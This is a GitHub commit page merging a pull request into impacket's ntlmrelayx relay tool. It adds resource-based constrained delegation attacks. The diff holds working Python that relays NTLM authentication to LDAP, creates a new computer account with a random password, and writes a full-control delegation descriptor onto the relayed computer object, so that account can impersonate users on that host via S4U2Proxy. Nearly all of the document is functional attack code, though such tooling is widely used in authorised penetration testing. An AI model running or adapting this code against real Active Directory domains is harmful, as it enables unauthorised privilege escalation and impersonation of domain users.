Skip to content

Commit

Permalink
Merge pull request fortra#579 from dirkjanm/rbdelrelay
Browse files Browse the repository at this point in the history
Add Resource Based Delegation features to ntlmrelayx
  • Loading branch information
asolino authored Mar 5, 2019
2 parents 4fdbbcc + 64500b9 commit 89165ef
Show file tree
Hide file tree
Showing 3 changed files with 162 additions and 6 deletions.
6 changes: 4 additions & 2 deletions examples/ntlmrelayx.py
Original file line number Diff line number Diff line change
Expand Up @@ -141,7 +141,7 @@ def start_servers(options, threads):
c.setAttacks(PROTOCOL_ATTACKS)
c.setLootdir(options.lootdir)
c.setOutputFile(options.output_file)
c.setLDAPOptions(options.no_dump, options.no_da, options.no_acl, options.no_validate_privs, options.escalate_user)
c.setLDAPOptions(options.no_dump, options.no_da, options.no_acl, options.no_validate_privs, options.escalate_user, options.add_computer, options.delegate_access)
c.setMSSQLOptions(options.query)
c.setInteractive(options.interactive)
c.setIMAPOptions(options.keyword, options.mailbox, options.all, options.imap_max)
Expand Down Expand Up @@ -259,6 +259,8 @@ def stop_servers(threads):
ldapoptions.add_argument('--no-acl', action='store_false', required=False, help='Disable ACL attacks')
ldapoptions.add_argument('--no-validate-privs', action='store_false', required=False, help='Do not attempt to enumerate privileges, assume permissions are granted to escalate a user via ACL attacks')
ldapoptions.add_argument('--escalate-user', action='store', required=False, help='Escalate privileges of this user instead of creating a new one')
ldapoptions.add_argument('--add-computer', action='store_true', required=False, help='Attempt to add a new computer account')
ldapoptions.add_argument('--delegate-access', action='store_true', required=False, help='Delegate access on relayed computer account to the specified account')

#IMAP options
imapoptions = parser.add_argument_group("IMAP client options")
Expand Down Expand Up @@ -310,7 +312,7 @@ def stop_servers(threads):

if not options.no_smb_server:
RELAY_SERVERS.append(SMBRelayServer)

if not options.no_http_server:
RELAY_SERVERS.append(HTTPRelayServer)

Expand Down
158 changes: 155 additions & 3 deletions impacket/examples/ntlmrelayx/attacks/ldapattack.py
Original file line number Diff line number Diff line change
Expand Up @@ -47,6 +47,8 @@
# and to prevent privilege escalating more than once
dumpedDomain = False
alreadyEscalated = False
alreadyAddedComputer = False
delegatePerformed = []
class LDAPAttack(ProtocolAttack):
"""
This is the default LDAP attack. It checks the privileges of the relayed account
Expand All @@ -67,6 +69,58 @@ class LDAPAttack(ProtocolAttack):
def __init__(self, config, LDAPClient, username):
ProtocolAttack.__init__(self, config, LDAPClient, username)

def addComputer(self, parent, domainDumper):
"""
Add a new computer. Parent is preferably CN=computers,DC=Domain,DC=local, but can
also be an OU or other container where we have write privileges
"""
global alreadyAddedComputer
if alreadyAddedComputer:
LOG.error('New computer already added. Refusing to add another')
return

# Random password
newPassword = ''.join(random.choice(string.ascii_letters + string.digits + string.punctuation) for _ in range(15))

# Get the domain we are in
domaindn = domainDumper.root
domain = re.sub(',DC=', '.', domaindn[domaindn.find('DC='):], flags=re.I)[3:]

# Random computername
newComputer = (''.join(random.choice(string.ascii_letters) for _ in range(8)) + '$').upper()
computerHostname = newComputer[:-1]
newComputerDn = ('CN=%s,%s' % (computerHostname, parent)).encode('utf-8')

# Default computer SPNs
spns = [
'HOST/%s' % computerHostname,
'HOST/%s.%s' % (computerHostname, domain),
'RestrictedKrbHost/%s' % computerHostname,
'RestrictedKrbHost/%s.%s' % (computerHostname, domain),
]
ucd = {
'dnsHostName': '%s.%s' % (computerHostname, domain),
'userAccountControl': 4096,
'servicePrincipalName': spns,
'sAMAccountName': newComputer,
'unicodePwd': '"{}"'.format(newPassword).encode('utf-16-le')
}
LOG.debug('New computer info %s', ucd)
LOG.info('Attempting to create computer in: %s', parent)
res = self.client.add(newComputerDn.decode('utf-8'), ['top','person','organizationalPerson','user','computer'], ucd)
if not res:
# Adding computers requires LDAPS
if self.client.result['result'] == RESULT_UNWILLING_TO_PERFORM and not self.client.server.ssl:
LOG.error('Failed to add a new computer. The server denied the operation. Try relaying to LDAP with TLS enabled (ldaps) or escalating an existing account.')
else:
LOG.error('Failed to add a new computer: %s' % str(self.client.result))
return False
else:
LOG.info('Adding new computer with username: %s and password: %s result: OK' % (newComputer, newPassword))
alreadyAddedComputer = True
# Return the SAM name
return newComputer

def addUser(self, parent, domainDumper):
"""
Add a new user. Parent is preferably CN=Users,DC=Domain,DC=local, but can
Expand Down Expand Up @@ -96,8 +150,8 @@ def addUser(self, parent, domainDumper):
'sAMAccountName': newUser,
'unicodePwd': '"{}"'.format(newPassword).encode('utf-16-le')
}
LOG.info('Attempting to create user in: %s' % parent)
res = self.client.add(newUserDn, ['top','person','organizationalPerson','user'], ucd)
LOG.info('Attempting to create user in: %s', parent)
res = self.client.add(newUserDn, ['top', 'person', 'organizationalPerson', 'user'], ucd)
if not res:
# Adding users requires LDAPS
if self.client.result['result'] == RESULT_UNWILLING_TO_PERFORM and not self.client.server.ssl:
Expand Down Expand Up @@ -127,6 +181,62 @@ def addUserToGroup(self, userDn, domainDumper, groupDn):
else:
LOG.error('Failed to add user to %s group: %s' % (groupName, str(self.client.result)))

def delegateAttack(self, usersam, targetsam, domainDumper):
global delegatePerformed
if targetsam in delegatePerformed:
LOG.info('Delegate attack already performed for this computer, skipping')
return

if not usersam:
usersam = self.addComputer('CN=Computers,%s' % domainDumper.root, domainDumper)
self.config.escalateuser = usersam

# Get escalate user sid
result = self.getUserInfo(domainDumper, usersam)
if not result:
LOG.error('User to escalate does not exist!')
return
escalate_sid = str(result[1])

# Get target computer DN
result = self.getUserInfo(domainDumper, targetsam)
if not result:
LOG.error('Computer to modify does not exist! (wrong domain?)')
return
target_dn = result[0]

self.client.search(target_dn, '(objectClass=*)', search_scope=ldap3.BASE, attributes=['SAMAccountName','objectSid', 'msDS-AllowedToActOnBehalfOfOtherIdentity'])
targetuser = None
for entry in self.client.response:
if entry['type'] != 'searchResEntry':
continue
targetuser = entry
if not targetuser:
LOG.error('Could not query target user properties')
return
try:
sd = ldaptypes.SR_SECURITY_DESCRIPTOR(data=targetuser['raw_attributes']['msDS-AllowedToActOnBehalfOfOtherIdentity'][0])
LOG.debug('Currently allowed sids:')
for ace in sd['Dacl'].aces:
LOG.debug(' %s' % ace['Ace']['Sid'].formatCanonical())
except IndexError:
# Create DACL manually
sd = create_empty_sd()
sd['Dacl'].aces.append(create_allow_ace(escalate_sid))
self.client.modify(targetuser['dn'], {'msDS-AllowedToActOnBehalfOfOtherIdentity':[ldap3.MODIFY_REPLACE, [sd.getData()]]})
if self.client.result['result'] == 0:
LOG.info('Delegation rights modified succesfully!')
LOG.info('%s can now impersonate users on %s via S4U2Proxy', usersam, targetsam)
delegatePerformed.append(targetsam)
else:
if self.client.result['result'] == 50:
LOG.error('Could not modify object, the server reports insufficient rights: %s', self.client.result['message'])
elif self.client.result['result'] == 19:
LOG.error('Could not modify object, the server reports a constrained violation: %s', self.client.result['message'])
else:
LOG.error('The server returned an error: %s', self.client.result['message'])
return

def aclAttack(self, userDn, domainDumper):
global alreadyEscalated
if alreadyEscalated:
Expand Down Expand Up @@ -449,7 +559,18 @@ def run(self):
return
else:
LOG.error('Cannot perform ACL escalation because we do not have create user '\
'privileges. Specify a user to assign privileges to with --escalate-user')
'privileges. Specify a user to assign privileges to with --escalate-user')

# Perform the Delegate attack if it is enabled and we relayed a computer account
if self.config.delegateaccess and self.username[-1] == '$':
self.delegateAttack(self.config.escalateuser, self.username, domainDumper)
return

# Add a new computer if that is requested
# privileges required are not yet enumerated, neither is ms-ds-MachineAccountQuota
if self.config.addcomputer:
self.addComputer('CN=Computers,%s' % domainDumper.root, domainDumper)
return

# Last attack, dump the domain if no special privileges are present
if not dumpedDomain and self.config.dumpdomain:
Expand All @@ -475,6 +596,37 @@ def create_object_ace(privguid, sid):
nace['Ace'] = acedata
return nace

# Create an ALLOW ACE with the specified sid
def create_allow_ace(sid):
nace = ldaptypes.ACE()
nace['AceType'] = ldaptypes.ACCESS_ALLOWED_ACE.ACE_TYPE
nace['AceFlags'] = 0x00
acedata = ldaptypes.ACCESS_ALLOWED_ACE()
acedata['Mask'] = ldaptypes.ACCESS_MASK()
acedata['Mask']['Mask'] = 983551 # Full control
acedata['Sid'] = ldaptypes.LDAP_SID()
acedata['Sid'].fromCanonical(sid)
nace['Ace'] = acedata
return nace

def create_empty_sd():
sd = ldaptypes.SR_SECURITY_DESCRIPTOR()
sd['Revision'] = b'\x01'
sd['Sbz1'] = b'\x00'
sd['Control'] = 32772
sd['OwnerSid'] = ldaptypes.LDAP_SID()
# BUILTIN\Administrators
sd['OwnerSid'].fromCanonical('S-1-5-32-544')
sd['GroupSid'] = b''
sd['Sacl'] = b''
acl = ldaptypes.ACL()
acl['AclRevision'] = 4
acl['Sbz1'] = 0
acl['Sbz2'] = 0
acl.aces = []
sd['Dacl'] = acl
return sd

# Check if an ACE allows for creation of users
def can_create_users(ace):
createprivs = ace['Ace']['Mask'].hasPriv(ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_CREATE_CHILD)
Expand Down
4 changes: 3 additions & 1 deletion impacket/examples/ntlmrelayx/utils/config.py
Original file line number Diff line number Diff line change
Expand Up @@ -125,12 +125,14 @@ def setDomainAccount( self, machineAccount, machineHashes, domainIp):
def setRandomTargets(self, randomtargets):
self.randomtargets = randomtargets

def setLDAPOptions(self, dumpdomain, addda, aclattack, validateprivs, escalateuser):
def setLDAPOptions(self, dumpdomain, addda, aclattack, validateprivs, escalateuser, addcomputer, delegateaccess):
self.dumpdomain = dumpdomain
self.addda = addda
self.aclattack = aclattack
self.validateprivs = validateprivs
self.escalateuser = escalateuser
self.addcomputer = addcomputer
self.delegateaccess = delegateaccess

def setMSSQLOptions(self, queries):
self.queries = queries
Expand Down

0 comments on commit 89165ef

Please sign in to comment.